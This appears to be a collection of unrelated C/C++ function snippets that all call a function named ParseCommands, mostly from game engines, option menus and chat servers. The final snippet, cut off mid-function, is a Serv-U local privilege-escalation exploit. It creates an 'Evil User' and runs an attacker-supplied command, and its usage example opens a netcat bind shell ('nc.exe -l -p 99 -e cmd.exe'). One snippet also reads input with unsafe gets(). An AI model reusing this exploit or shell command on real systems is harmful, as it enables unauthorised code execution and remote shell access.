void ScreenOptionsManageProfiles::BeginScreen() { // FIXME // int iIndex = 0; vector<OptionRowHandler*> OptionRowHandlers; if( SHOW_CREATE_NEW ) { OptionRowHandler *pHand = OptionRowHandlerUtil::Make( ParseCommands(ssprintf("gamecommand;screen,%s;name,dummy",m_sName.c_str())) ); OptionRowDefinition &def = pHand->m_Def; def.m_layoutType = LAYOUT_SHOW_ALL_IN_ROW; def.m_bAllowThemeTitle = true; def.m_bAllowThemeItems = false; def.m_sName = "Create New Profile"; def.m_sExplanationName = "Create New Profile"; OptionRowHandlers.push_back( pHand ); // FIXME // gc.Load( iIndex++, ); } PROFILEMAN->GetLocalProfileIDs( m_vsLocalProfileID ); FOREACH_CONST( RString, m_vsLocalProfileID, s ) { Profile *pProfile = PROFILEMAN->GetLocalProfile( *s ); ASSERT( pProfile != NULL ); RString sCommand = ssprintf( "gamecommand;screen,ScreenOptionsCustomizeProfile;profileid,%s;name,dummy", s->c_str() ); OptionRowHandler *pHand = OptionRowHandlerUtil::Make( ParseCommands(sCommand) ); OptionRowDefinition &def = pHand->m_Def; def.m_layoutType = LAYOUT_SHOW_ALL_IN_ROW; def.m_bAllowThemeTitle = false; def.m_bAllowThemeItems = false; def.m_sName = pProfile->m_sDisplayName; def.m_sExplanationName = "Select Profile"; PlayerNumber pn = PLAYER_INVALID; FOREACH_PlayerNumber( p ) if( *s == ProfileManager::m_sDefaultLocalProfileID[p].Get() ) pn = p; if( pn != PLAYER_INVALID ) def.m_vsChoices.push_back( PlayerNumberToLocalizedString(pn) ); OptionRowHandlers.push_back( pHand ); // FIXME // gc.Load( iIndex++, ); }
void Actor::Command( CString sCommands ) { sCommands.MakeLower(); vector<ParsedCommand> vCommands; ParseCommands( sCommands, vCommands ); for( unsigned i=0; i<vCommands.size(); i++ ) this->HandleCommand( vCommands[i] ); }
void main() { char A[ROWS][COLS]; char S[100]; gets(S); Init(A); ParseCommands(A, S); PrintArray(A); }
void DRIFileLoad::Load(const Utils::StringList &script, const DriIncludeDirList &pathes, const QStringList &specParamsList, const QString ¯oReplaceList, const QString &location) { Preprocessor p(pathes, specParamsList, macroReplaceList); p.Process(script, 1, location); // can throw ParseCommands(location, p.Result()); }
UnitDefinition::UnitDefinition(XmlNode* soDefNode) : PhysicalObjectDefinition(soDefNode), _baseStats(xNew0(UnitStats)), _canTrainUnits(false), _selectionMarkerDef(0) { SetFinalType(GetTypeId<Unit>()); SetFinalTypeName("Unit"); _selectionFlags |= SelectionFlags::Unit; // Get node specific to Unit XmlNode* unitNode = soDefNode->first_node("PhysicalObject")-> first_node("Unit"); XmlNode* propsNode = unitNode->first_node("Properties"); if(propsNode != 0) ParseUnitProperties(propsNode); XmlNode* soundsNode = unitNode->first_node("SoundSet"); ParseUnitSounds(soundsNode); _baseStats->Parse(unitNode->first_node("Stats",5)); _iconName = XmlUtility::XmlGetString(unitNode->first_node("Icon",4), "name", 4); _guiName = XmlUtility::XmlGetLocaleString(unitNode->first_node("GuiName",7)); /* Ogre::Image icon; icon.load(_iconName, "Icons"); Ogre::TexturePtr iconTexture = Ogre::TextureManager::getSingleton().createManual( _iconName, "Icons", Ogre::TEX_TYPE_2D, (int)icon.getWidth(), (int)icon.getHeight(), 1, icon.getFormat()); iconTexture->loadImage(icon); */ ParseWeapons(unitNode->first_node("Weapons",7)); ParseCommands(unitNode->first_node("Commands")); XmlNode* trainableNode = unitNode->first_node("TrainableUnits"); if( trainableNode != 0 ) ParseTrainableUnits(unitNode->first_node("TrainableUnits")); XmlNode* selectionNode = unitNode->first_node("SelectionMarker"); if( selectionNode != 0 ) { ParseSelectionMarker(selectionNode); } ParseMoveStrategy(unitNode->first_node("MoveStrategy")); }
void ScreenOptionsMaster::Init() { vector<RString> asLineNames; split( LINE_NAMES, ",", asLineNames ); if( asLineNames.empty() ) { LuaHelpers::ReportScriptErrorFmt("\"%s:LineNames\" is empty.", m_sName.c_str()); } if( FORCE_ALL_PLAYERS ) { FOREACH_PlayerNumber( pn ) GAMESTATE->JoinPlayer( pn ); } if( NAVIGATION_MODE == "toggle" ) SetNavigation( PREFSMAN->m_iArcadeOptionsNavigation? NAV_TOGGLE_THREE_KEY:NAV_TOGGLE_FIVE_KEY ); else if( NAVIGATION_MODE == "menu" ) SetNavigation( NAV_THREE_KEY_MENU ); SetInputMode( StringToInputMode(INPUT_MODE) ); // Call this after enabling players, if any. ScreenOptions::Init(); vector<OptionRowHandler*> OptionRowHandlers; for( unsigned i = 0; i < asLineNames.size(); ++i ) { RString sLineName = asLineNames[i]; RString sRowCommands = LINE(sLineName); Commands cmds; ParseCommands( sRowCommands, cmds, false ); OptionRowHandler *pHand = OptionRowHandlerUtil::Make( cmds ); if( pHand == NULL ) { LuaHelpers::ReportScriptErrorFmt("Invalid OptionRowHandler \"%s\" in \"%s:Line:%s\".", cmds.GetOriginalCommandString().c_str(), m_sName.c_str(), sLineName.c_str()); } else { OptionRowHandlers.push_back( pHand ); } } InitMenu( OptionRowHandlers ); }
void ScreenBranch::HandleScreenMessage( const ScreenMessage SM ) { switch( SM ) { case SM_GoToNextScreen: { CString sNextScreen = NEXT_SCREEN(m_sChoice); LOG->Trace( "Branching to '%s'", sNextScreen.c_str() ); GameCommand mc; mc.Load( 0, ParseCommands(sNextScreen) ); if( mc.m_sScreen == "" ) RageException::Throw("Metric %s::%s must set \"screen\"", m_sName.c_str(), ("NextScreen"+m_sChoice).c_str() ); mc.ApplyToAllPlayers(); } break; } }
void ScreenSelect::Init() { IDLE_COMMENT_SECONDS.Load( m_sName, "IdleCommentSeconds" ); IDLE_TIMEOUT_SECONDS.Load( m_sName, "IdleTimeoutSeconds" ); ALLOW_DISABLED_PLAYER_INPUT.Load( m_sName, "AllowDisabledPlayerInput" ); ScreenWithMenuElements::Init(); // Load messages to update on split( UPDATE_ON_MESSAGE, ",", m_asSubscribedMessages ); for( unsigned i = 0; i < m_asSubscribedMessages.size(); ++i ) MESSAGEMAN->Subscribe( this, m_asSubscribedMessages[i] ); // Subscribe to PlayerJoined, if not already. if( !MESSAGEMAN->IsSubscribedToMessage(this, Message_PlayerJoined) ) this->SubscribeToMessage( Message_PlayerJoined ); // Load choices { // Instead of using NUM_CHOICES, use a comma-separated list of choices. // Each element in the list is a choice name. This level of indirection // makes it easier to add or remove items without having to change a // bunch of indices. vector<RString> asChoiceNames; split( CHOICE_NAMES, ",", asChoiceNames, true ); for( unsigned c=0; c<asChoiceNames.size(); c++ ) { RString sChoiceName = asChoiceNames[c]; GameCommand mc; mc.ApplyCommitsScreens( false ); mc.m_sName = sChoiceName; Commands cmd = ParseCommands( CHOICE(sChoiceName) ); mc.Load( c, cmd ); m_aGameCommands.push_back( mc ); } } if(m_aGameCommands.empty()) { LuaHelpers::ReportScriptErrorFmt("Screen \"%s\" does not set any choices.", m_sName.c_str()); } }
/** * @brief Parse and then process the command * @author R.Lillback * @date 1-Sep-2015 * * @details This message calls functions to: * 1.) Split the command into parts * 2.) Look to find the command in the command constant list * 3.) Jump to a multiplexer to validate the command & then execute it * 4.) Look to see if the command worked * * @param <none> * * @returns <void> * */ void ProcessCmd(char* strCommand) { char strMainCmd[MAX_INPUT_LINE_LEN]; // Main command char strSubCmdOne[MAX_INPUT_LINE_LEN]; // First sub-command int iSubCmdOne; // Sub-command One is going to be a number int i; // Loop integer int iFound = FALSE; // Did we find the command? int lastCommand = FALSE; // Used to terminate the loop at the last command (defined as '\0') DWORD iResult; // Result of executing the command iSubCmdOne = ParseCommands(strCommand, strMainCmd, strSubCmdOne); // Split the commands apart into multiples i=-1; while ( (FALSE == lastCommand) && (FALSE == iFound) && (i < MAX_COMMANDS) ){ i++; if ( CLI_COMMANDS[i].strCmd == '\0' ) { lastCommand = TRUE; } else { iFound = IsEqual(CLI_COMMANDS[i].strCmd,strMainCmd); } } // while if ( lastCommand ) { // we parsed through all the commands and hit the end OS_Printf("Error....command not found.\n"); } else { // we found a command if ( iFound ) { iResult = ExecuteCommand (CLI_COMMANDS[i].iIndex, iSubCmdOne); // so execute it if (iResult != (DWORD)0) { OS_Printf("%s command failed.", CLI_COMMANDS[i].strCmd); // it failed! } } } // lastCommand PRINT_PROMPT; OS_Fflush(stdout); return; } // ProcessCmd
///===================================================== /// ///===================================================== int __stdcall WinMain(HINSTANCE thisAppInstance, HINSTANCE /*hPrevInstance*/, LPSTR lpCmdLine, int nShowCmd){ FATAL_ASSERT(s_theMemoryManager != nullptr); JobManager* jobManager = new JobManager(); RECOVERABLE_ASSERT(jobManager != nullptr); if (jobManager != nullptr){ jobManager->Startup(6); //main thread + cricket audio thread + 6 = 8 } CommandList commands = ParseCommands(lpCmdLine); bool forceQuit = ProcessCommands(commands); if (forceQuit){ if (jobManager != nullptr){ jobManager->Shutdown(); delete jobManager; } return 0; } HWND myWindowHandle = CreateAppWindow(thisAppInstance, nShowCmd); s_theApp = new TheApp(); s_theApp->Startup((void*)myWindowHandle); s_theApp->Run(); s_theApp->Shutdown(); delete s_theApp; if (jobManager != nullptr){ jobManager->Shutdown(); delete jobManager; } s_theMemoryManager->PrintMemoryLeaks(); return 0; }
void main( int argc, char **argv ) { cout << " -- Populate V" << Populate_Version << " -- Copyright 1999 TM Productions" << endl; if( argc < 2 ) // Not Enough Arguments Help(); if( argv[1][0] == '?' ) // 1st argument is a ?; display help Help(); // Parse the command line arguments Populate * pop = ParseCommands( argc, argv ); if( pop == NULL ) exit(20); try { // Open the files int error = pop->OpenFiles(); if( error != POPULATE_OK ) { cout << " ERROR: " << Populate::GetErrorString( error ) << "; aborting" << endl; throw false; } // Test the Replacement Object Path error = pop->LoadReplacementPath(); switch( error ) { case POPULATEREP_OK: // No Error break; case POPULATEREP_PATH_DOESNT_EXIST: cout << " ERROR: " << populate_rep_error_strings[ error ] << endl; break; case POPULATEREP_BAD_OBJECTS: cout << " The following replacement objects in the replacement path \"" << pop->GetRepDir() << "\" are invalid:" << endl; for( unsigned int i=0; i < pop->GetRepList().NumElements(); i++ ) { if( !pop->GetRepList()[i]->IsValid() ) cout << " " << pop->GetRepList()[i]->GetFilename() << endl; } break; } // Output the replacement object paths, if applicable: if( pop->GetRepList().NumElements() > 0 ) { cout << "- Replacement Objects: " << endl; for( unsigned int i = 0; i < pop->GetRepList().NumElements(); i++ ) { cout << " " << setw( 7 ) << pop->GetRepList()[i]->GetProb() << " " << pop->GetRepList()[i]->GetFilename() << endl; } } // Find PNTS chunk in object, if needed if( !pop->FindPNTS() ) { cout << " ERROR: Failed to read PNTS chunk from LWO Point Reference Object \"" << pop->GetLWO() << "\"; aborting" << endl; throw false; } if( pop->GetUseLWO() ) { if( pop->GetFirstPoint() > pop->GetLWOPointCount() ) { cout << " ERROR: The number of First Point of " << pop->GetFirstPoint() << " exceeds the " << pop->GetLWOPointCount() << " in the LWO Point Reference Object \"" << pop->GetLWO() << "\"; aborting" << endl; throw false; } cout << " Number of points in LWO Point Reference Object: " << pop->GetLWOPointCount() << "; starting at " << pop->GetFirstPoint() << endl; } // Build the hierarchy tree cout << "-Building Hierarchy Tree... " << endl; if( !pop->BuildHierarchy() ) { cout << " ERROR: Failed to read from \"" << pop->GetSource() << "\" while building hierarchy; aborting" << endl; throw false; } // Display hierarchy, if applicable if( pop->GetDisplayTree() ) { cout << " -------------------- Scene Hierarchy --------------------- " << endl; pop->GetBase()->OutputAsText( 4 ); cout << endl; } // Process the scene cerr << "-Processing \"" << pop->GetSource() << "\"..." << endl; error = pop->Process(); if( error != POPULATE_OK ) { cout << " ERROR: " << Populate::GetErrorString( error ) << "; aborting" << endl; throw false; } cerr << "-Processed " << pop->GetNumObjectsProcessed() << " objects and " << pop->GetNumLightsProcessed() << " lights and replaced " << pop->GetNumItemsReplaced() << " objects into \"" << pop->GetOutput() << "\"" << endl; cerr << "-Sucessfully Populated \"" << pop->GetOutput() << "\"!" << endl; } catch( bool ) { ; // This is just here so that, if there's an error, we will call // the clean-up at the code outside the try...catch block. } delete pop; }
void ScreenOptionsMaster::Init() { ScreenOptions::Init(); // make sure volume is set to full in options, and menu lights are on ScreenAttract::SetAttractVolume( false ); LIGHTSMAN->SetLightsMode( LIGHTSMODE_MENU ); CStringArray asLineNames; split( LINE_NAMES, ",", asLineNames ); if( asLineNames.empty() ) RageException::Throw( "%s::LineNames is empty.", m_sName.c_str() ); CStringArray Flags; split( OPTION_MENU_FLAGS, ";", Flags, true ); InputMode im = INPUTMODE_INDIVIDUAL; for( unsigned i = 0; i < Flags.size(); ++i ) { CString sFlag = Flags[i]; sFlag.MakeLower(); if( sFlag == "together" ) im = INPUTMODE_SHARE_CURSOR; else if( sFlag == "explanations" ) ; else if( sFlag == "forceallplayers" ) { FOREACH_PlayerNumber( pn ) GAMESTATE->m_bSideIsJoined[pn] = true; GAMESTATE->m_MasterPlayerNumber = PlayerNumber(0); } else if( sFlag == "smnavigation" ) SetNavigation( NAV_THREE_KEY_MENU ); else if( sFlag == "toggle" || sFlag == "firstchoicegoesdown" ) SetNavigation( PREFSMAN->m_bArcadeOptionsNavigation? NAV_TOGGLE_THREE_KEY:NAV_TOGGLE_FIVE_KEY ); else RageException::Throw( "Unknown flag \"%s\"", sFlag.c_str() ); } vector<OptionRowDefinition> OptionRowDefs; OptionRowDefs.resize( asLineNames.size() ); OptionRowHandlers.resize( asLineNames.size() ); for( unsigned i = 0; i < asLineNames.size(); ++i ) { CString sLineName = asLineNames[i]; OptionRowDefinition &def = OptionRowDefs[i]; CString sRowCommands = LINE(sLineName); OptionRowHandler* &pHand = OptionRowHandlers[i]; pHand = NULL; Commands vCommands; ParseCommands( sRowCommands, vCommands ); if( vCommands.v.size() != 1 ) RageException::Throw( "Parse error in %s::Line%s", m_sName.c_str(), sLineName.c_str() ); Command& command = vCommands.v[0]; pHand = OptionRowHandlerUtil::Make( command, def ); if( pHand == NULL ) RageException::Throw( "Invalid OptionRowHandler '%s' in %s::%s", command.GetOriginalCommandString().c_str(), m_sName.c_str(), sLineName.c_str() ); } ASSERT( OptionRowHandlers.size() == asLineNames.size() ); InitMenu( im, OptionRowDefs, OptionRowHandlers ); }
void OptionsList::Load( RString sType, PlayerNumber pn ) { TOP_MENU.Load( sType, "TopMenu" ); m_pn = pn; m_bStartIsDown = false; m_Codes.Load( sType ); m_Cursor.Load( THEME->GetPathG(sType, "cursor") ); m_Cursor->SetName( "Cursor" ); ActorUtil::LoadAllCommands( *m_Cursor, sType ); this->AddChild( m_Cursor ); vector<RString> asDirectLines; split( DIRECT_LINES, ",", asDirectLines, true ); FOREACH( RString, asDirectLines, s ) m_setDirectRows.insert( *s ); vector<RString> setToLoad; split( TOP_MENUS, ",", setToLoad ); m_setTopMenus.insert( setToLoad.begin(), setToLoad.end() ); while( !setToLoad.empty() ) { RString sLineName = *setToLoad.begin(); setToLoad.erase( setToLoad.begin() ); if( m_Rows.find(sLineName) != m_Rows.end() ) continue; RString sRowCommands = LINE(sLineName); Commands cmds; ParseCommands( sRowCommands, cmds, false ); OptionRowHandler *pHand = OptionRowHandlerUtil::Make( cmds ); if( pHand == NULL ) { LuaHelpers::ReportScriptErrorFmt("Invalid OptionRowHandler '%s' in %s::Line%s", cmds.GetOriginalCommandString().c_str(), m_sName.c_str(), sLineName.c_str()); continue; } m_Rows[sLineName] = pHand; m_asLoadedRows.push_back( sLineName ); for( size_t i = 0; i < pHand->m_Def.m_vsChoices.size(); ++i ) { RString sScreen = pHand->GetScreen(i); if( !sScreen.empty() ) setToLoad.push_back( sScreen ); } } for( int i = 0; i < 2; ++i ) { m_Row[i].SetName( "OptionsList" ); m_Row[i].Load( this, "OptionsList" ); ActorUtil::LoadAllCommands( m_Row[i], sType ); this->AddChild( &m_Row[i] ); } this->PlayCommand( "TweenOff" ); this->FinishTweening(); }
virtual void LoadInternal( const Commands &cmds ) { ASSERT( cmds.v.size() == 1 ); const Command &command = cmds.v[0]; RString sParam = command.GetArg(1).s; ASSERT( command.m_vsArgs.size() == 2 ); ASSERT( sParam.size() != 0 ); m_bUseModNameForIcon = true; m_Def.m_sName = sParam; m_Default.Load( -1, ParseCommands(ENTRY_DEFAULT(sParam)) ); { // Parse the basic configuration metric. Commands lCmds = ParseCommands( ENTRY(sParam) ); if( lCmds.v.size() < 1 ) RageException::Throw( "Parse error in \"ScreenOptionsMaster::%s\".", sParam.c_str() ); m_Def.m_bOneChoiceForAllPlayers = false; const int NumCols = StringToInt( lCmds.v[0].m_vsArgs[0] ); for( unsigned i=1; i<lCmds.v.size(); i++ ) { const Command &cmd = lCmds.v[i]; RString sName = cmd.GetName(); if( sName == "together" ) m_Def.m_bOneChoiceForAllPlayers = true; else if( sName == "selectmultiple" ) m_Def.m_selectType = SELECT_MULTIPLE; else if( sName == "selectone" ) m_Def.m_selectType = SELECT_ONE; else if( sName == "selectnone" ) m_Def.m_selectType = SELECT_NONE; else if( sName == "showoneinrow" ) m_Def.m_layoutType = LAYOUT_SHOW_ONE_IN_ROW; else if( sName == "default" ) m_Def.m_iDefault = StringToInt( cmd.GetArg(1).s ) - 1; // match ENTRY_MODE else if( sName == "reloadrowmessages" ) { for( unsigned a=1; a<cmd.m_vsArgs.size(); a++ ) m_vsReloadRowMessages.push_back( cmd.m_vsArgs[a] ); } else if( sName == "enabledforplayers" ) { m_Def.m_vEnabledForPlayers.clear(); for( unsigned a=1; a<cmd.m_vsArgs.size(); a++ ) { RString sArg = cmd.m_vsArgs[a]; PlayerNumber pn = (PlayerNumber)(StringToInt(sArg)-1); ASSERT( pn >= 0 && pn < NUM_PLAYERS ); m_Def.m_vEnabledForPlayers.insert( pn ); } } else if( sName == "exportonchange" ) { m_Def.m_bExportOnChange = true; } else if( sName == "broadcastonexport" ) { for( unsigned j=1; j<cmd.m_vsArgs.size(); j++ ) m_vsBroadcastOnExport.push_back( cmd.m_vsArgs[j] ); } else { RageException::Throw( "Unkown row flag \"%s\".", sName.c_str() ); } } for( int col = 0; col < NumCols; ++col ) { GameCommand mc; mc.ApplyCommitsScreens( false ); mc.Load( 0, ParseCommands(ENTRY_MODE(sParam, col)) ); /* If the row has just one entry, use the name of the row as the name of the * entry. If it has more than one, each one must be specified explicitly. */ if( mc.m_sName == "" && NumCols == 1 ) mc.m_sName = sParam; if( mc.m_sName == "" ) RageException::Throw( "List \"%s\", col %i has no name.", sParam.c_str(), col ); if( !mc.IsPlayable() ) { LOG->Trace( "\"%s\" is not playable.", sParam.c_str() ); continue; } m_aListEntries.push_back( mc ); RString sName = mc.m_sName; RString sChoice = mc.m_sName; m_Def.m_vsChoices.push_back( sChoice ); } } if( m_Def.m_selectType != SELECT_MULTIPLE && m_Def.m_iDefault == -1 ) { for( unsigned e = 0; e < m_aListEntries.size(); ++e ) { const GameCommand &mc = m_aListEntries[e]; if( mc.IsZero() ) m_Def.m_iDefault = e; } } }
Commands ParseCommands( const CString &sCommands ) { Commands vCommands; ParseCommands( sCommands, vCommands ); return vCommands; }
void ScreenSelect::Init() { IDLE_COMMENT_SECONDS.Load( m_sName, "IdleCommentSeconds" ); IDLE_TIMEOUT_SECONDS.Load( m_sName, "IdleTimeoutSeconds" ); ALLOW_DISABLED_PLAYER_INPUT.Load( m_sName, "AllowDisabledPlayerInput" ); ScreenWithMenuElements::Init(); // Load messages to update on split( UPDATE_ON_MESSAGE, ",", m_asSubscribedMessages ); for( unsigned i = 0; i < m_asSubscribedMessages.size(); ++i ) MESSAGEMAN->Subscribe( this, m_asSubscribedMessages[i] ); // Subscribe to PlayerJoined, if not already. if( !MESSAGEMAN->IsSubscribedToMessage(this, Message_PlayerJoined) ) this->SubscribeToMessage( Message_PlayerJoined ); // Load choices // Allow lua as an alternative to metrics. RString choice_names= CHOICE_NAMES; if(choice_names.Left(4) == "lua,") { RString command= choice_names.Right(choice_names.size()-4); Lua* L= LUA->Get(); if(LuaHelpers::RunExpression(L, command, m_sName + "::ChoiceNames")) { if(!lua_istable(L, 1)) { LuaHelpers::ReportScriptError(m_sName + "::ChoiceNames expression did not return a table of gamecommands."); } else { size_t len= lua_objlen(L, 1); for(size_t i= 1; i <= len; ++i) { lua_rawgeti(L, 1, i); if(!lua_isstring(L, -1)) { LuaHelpers::ReportScriptErrorFmt(m_sName + "::ChoiceNames element %zu is not a string.", i); } else { RString com= SArg(-1); GameCommand mc; mc.ApplyCommitsScreens(false); mc.m_sName = ssprintf("%zu", i); Commands cmd= ParseCommands(com); mc.Load(i, cmd); m_aGameCommands.push_back(mc); } lua_pop(L, 1); } } } lua_settop(L, 0); LUA->Release(L); } else { // Instead of using NUM_CHOICES, use a comma-separated list of choices. // Each element in the list is a choice name. This level of indirection // makes it easier to add or remove items without having to change a // bunch of indices. vector<RString> asChoiceNames; split( CHOICE_NAMES, ",", asChoiceNames, true ); for( unsigned c=0; c<asChoiceNames.size(); c++ ) { RString sChoiceName = asChoiceNames[c]; GameCommand mc; mc.ApplyCommitsScreens( false ); mc.m_sName = sChoiceName; Commands cmd = ParseCommands( CHOICE(sChoiceName) ); mc.Load( c, cmd ); m_aGameCommands.push_back( mc ); } } if(m_aGameCommands.empty()) { LuaHelpers::ReportScriptErrorFmt("Screen \"%s\" does not set any choices.", m_sName.c_str()); } }
void SMOnlineRoom::AnalizeChat(unsigned int clientNum, PacketFunctions& Packet) { MString message = Packet.ReadNT(); ChatCommandPack ccp = ParseCommands(message, clientNum); switch(ccp.cmd) { case NONE: RelayChat(clientNum, message); return; case ANNOUNCE: { PacketFunctions reply; reply.ClearPacket(); reply.Write1(NSCSU+NSServerOffset); reply.WriteNT(ccp.data.front()); SERVER->SendToAll(reply); } return; case KICK: { const MString& name = ccp.data.front(); for (unsigned int x = 0; x < m_clients.size(); ++x) for (unsigned int y = 0; y < m_clients[x]->GetNumPlayers(); ++y) if (m_clients[x]->GetPlayer(y)->GetName() == name) { LOG->Write("Kicking " + name); m_kicked[ccp.data.front()] = KickClient(name); ChangeRoom(1, m_joinrooms[0]->GetTitle(), x, "", true); return; } } break; case BAN: { const MString& name = ccp.data.front(); for (unsigned int x = 0; x < m_clients.size(); ++x) for (unsigned int y = 0; y < m_clients[x]->GetNumPlayers(); ++y) if (m_clients[x]->GetPlayer(y)->GetName() == name) { LOG->Write("Banning " + name); m_banned[name] = name; ChangeRoom(1, m_joinrooms[0]->GetTitle(), x, "", true); return; } } break; case PM: { MString user = ccp.data.front(); ccp.data.pop(); MString message = ccp.data.front(); MString tmp; MString success = "PM Failed!"; if ((user.length() > 0) && (message.length() > 0)) { tmp = "PM from "; unsigned int numPlayers = m_clients[m_cNum]->GetNumPlayers(); for (unsigned int x = 0; x < numPlayers; ++x) { tmp += m_clients[m_cNum]->GetPlayerName(x); if ((numPlayers > 1) && (x < (numPlayers - 1))) tmp += "&"; } tmp += ": " + message; if (SERVER->MsgPlayer(user, tmp)) success = "PM Success!"; } PacketFunctions result; result.ClearPacket(); result.Write1(NSCCM + NSServerOffset); result.WriteNT(success); m_clients[m_cNum]->SendData(result); } break; case DROP: { SMOnlineClient* tmp = SERVER->GetPlayerClient(ccp.data.front()); if (tmp != NULL) tmp->connection.close(); } break; // case FORCESTART: // break; default: break; }; }
ScreenOptionsMaster::ScreenOptionsMaster( const CString &sClassName ): ScreenOptions( sClassName ) { LOG->Trace("ScreenOptionsMaster::ScreenOptionsMaster(%s)", m_sName.c_str() ); /* If this file doesn't exist, leave the music alone (eg. ScreenPlayerOptions music sample * left over from ScreenSelectMusic). If you really want to play no music, add a redir * to _silent. */ CString MusicPath = THEME->GetPathToS( ssprintf("%s music", m_sName.c_str()), true ); if( MusicPath != "" ) SOUND->PlayMusic( MusicPath ); CStringArray asLineNames; split( LINE_NAMES, ",", asLineNames ); if( asLineNames.empty() ) RageException::Throw( "%s::LineNames is empty.", m_sName.c_str() ); CStringArray Flags; split( OPTION_MENU_FLAGS, ";", Flags, true ); InputMode im = INPUTMODE_INDIVIDUAL; bool Explanations = false; unsigned i; for( i = 0; i < Flags.size(); ++i ) { CString &flag = Flags[i]; flag.MakeLower(); if( flag == "together" ) im = INPUTMODE_SHARE_CURSOR; else if( flag == "explanations" ) Explanations = true; else if( flag == "forceallplayers" ) { FOREACH_PlayerNumber( pn ) GAMESTATE->m_bSideIsJoined[pn] = true; GAMESTATE->m_MasterPlayerNumber = PlayerNumber(0); } else if( flag == "smnavigation" ) SetNavigation( NAV_THREE_KEY_MENU ); else if( flag == "toggle" || flag == "firstchoicegoesdown" ) SetNavigation( PREFSMAN->m_bArcadeOptionsNavigation? NAV_TOGGLE_THREE_KEY:NAV_TOGGLE_FIVE_KEY ); } m_OptionRowAlloc = new OptionRowData[asLineNames.size()]; for( i = 0; i < asLineNames.size(); ++i ) { OptionRowData &row = m_OptionRowAlloc[i]; vector<ParsedCommand> vCommands; ParseCommands( LINE(asLineNames[i]), vCommands ); if( vCommands.size() < 1 ) RageException::Throw( "Parse error in %s::Line%i", m_sName.c_str(), i+1 ); OptionRowHandler hand; for( unsigned part = 0; part < vCommands.size(); ++part) { ParsedCommand& command = vCommands[part]; HandleParams; const CString name = sParam(0); if( !name.CompareNoCase("list") ) { SetList( row, hand, sParam(1), row.name ); } else if( !name.CompareNoCase("steps") ) { SetStep( row, hand ); row.name = "Steps"; } else if( !name.CompareNoCase("conf") ) { SetConf( row, hand, sParam(1), row.name ); } else if( !name.CompareNoCase("characters") ) { SetCharacter( row, hand ); row.name = "Characters"; } else RageException::Throw( "Unexpected type '%s' in %s::Line%i", name.c_str(), m_sName.c_str(), i ); CheckHandledParams; } // TRICKY: Insert a down arrow as the first choice in the row. if( m_OptionsNavigation == NAV_TOGGLE_THREE_KEY ) { row.choices.insert( row.choices.begin(), ENTRY_NAME("NextRow") ); hand.ListEntries.insert( hand.ListEntries.begin(), ModeChoice() ); } OptionRowHandlers.push_back( hand ); } ASSERT( OptionRowHandlers.size() == asLineNames.size() ); Init( im, m_OptionRowAlloc, asLineNames.size() ); }
void ChatHandler::HandleMsg( wowWData & recv_data, GameClient *pClient ) { wowWData data; char f[256]; sprintf(f, "WORLD: Chat Opcode 0x%.4X", recv_data.opcode); Log::getSingleton( ).outString( f ); switch (recv_data.opcode) { case CMSG_MESSAGECHAT: { uint16 text_length = strlen((char*)recv_data.data+8)+1; m_pClient = pClient; if (ParseCommands(recv_data.data+8, text_length) > 0) return; uint8 text_mode = recv_data.data[0]; FillMessageData( &data, text_mode, pClient, recv_data.data+8 ); if (text_mode != CHAT_MSG_WHISPER) { // whisper message send in FillMessageData pClient->SendMsg( &data ); world.SendGlobalMessage(&data, pClient); } }break; case CMSG_TEXT_EMOTE: { uint32 text_emote, guid1, guid2; recv_data.readData(text_emote); recv_data >> guid1 >> guid2; char *nam=0; uint16 namlen=0; WorldServer::CharacterMap::iterator chariter; WorldServer::CreatureMap::iterator npciter; if( ( npciter = world.mCreatures.find( guid1 ) ) != world.mCreatures.end( ) ) { nam = npciter->second->getCreatureName( ); namlen = strlen( nam ) + 1; } else if( ( chariter = world.mCharacters.find( guid1 ) ) != world.mCharacters.end( ) ) { nam = chariter->second->getName( ); namlen = strlen( nam ) + 1; } data.clear(); data.Initialise(12, SMSG_EMOTE); uint8 emote_anim = world.mEmotes[uint8(text_emote&0xff)]; data << (uint8)emote_anim; data << (uint8)0x00; data << (uint8)0x00; data << (uint8)0x00; uint32 guid = pClient->getCurrentChar()->getGUID(); data << (uint32)guid << (uint8)0x00 << (uint8)0x00 << (uint8)0x00 << (uint8)0x00; world.SendGlobalMessage(&data); data.clear(); data.setLength(12 + namlen); data.opcode = SMSG_TEXT_EMOTE; memcpy(data.data, &guid, 4); data.data[4] = 0x00; data.data[5] = 0x00; data.data[6] = 0x00; data.data[7] = 0x00; memcpy(data.data+8,recv_data.data,4); if( namlen > 0 ) memcpy( data.data + 12, nam, namlen ); pClient->SendMsg( &data ); world.SendGlobalMessage(&data, pClient); } break; } }
int main(int argc, char* argv[]) { WSADATA ws; int sock,sock2; struct sockaddr_in haxorcitos; struct sockaddr_in xpl; printf("Serv-u >3.x Local Exploit by Haxorcitos\r\n\r\n"); if (argc<2) { printf("USAGE: ServuLocal.exe \"command\"\r\n"); printf("Example: ServuLocal.exe \"nc.exe -l -p 99 -e cmd.exe\""); return(0); } if (WSAStartup( MAKEWORD(2,2), &ws )!=0) { printf(" [-] WSAStartup() error\n"); exit(0); } haxorcitos.sin_family = AF_INET; haxorcitos.sin_port = htons(localport); haxorcitos.sin_addr.s_addr = inet_addr(localip); sock=socket (AF_INET, SOCK_STREAM, IPPROTO_TCP); connect(sock,( struct sockaddr *)&haxorcitos,sizeof(haxorcitos)); rec=recv(sock,cadena,sizeof(cadena),0); cadena[rec]='\0'; printf("<%s",cadena); ParseCommands(sock,USER,1,1,USEROK); ParseCommands(sock,PASSWORD,1,1,PASSOK); ParseCommands(sock,MAINTENANCE,1,0,"230 "); printf("[+] Creating New Domain...\r\n"); ParseCommands(sock,newdomain,0,1,BANNER); printf("[+] Domain Haxorcitos:%i Created\n",domain); /* Only for v5.x printf("[+] Setting New Domain Online\r\n"); sprintf(cadena,"-SERVERCOMMAND\r\n-ID=%i\r\n Command=DomainOnline\r\n",domain); ParseCommands(sock,cadena,0,1,BANNER); */ printf("[+] Creating Evil User\r\n"); ParseCommands(sock,newuser,0,1,"200 "); Sleep(1000); printf("[+] Now Exploiting...\r\n"); xpl.sin_family = AF_INET; xpl.sin_port = htons(2121); xpl.sin_addr.s_addr = inet_addr(localip); sock2=socket (AF_INET, SOCK_STREAM, IPPROTO_TCP); connect(sock2,( struct sockaddr *)&xpl,sizeof(xpl)); rec=recv(sock2,cadena,sizeof(cadena),0); cadena[rec]='\0'; ParseCommands(sock2,XPLUSER,1,1,USEROK); ParseCommands(sock2,XPLPASSWORD,1,1,PASSOK); printf("[+] Now Executing: %s\r\n",argv[1]); 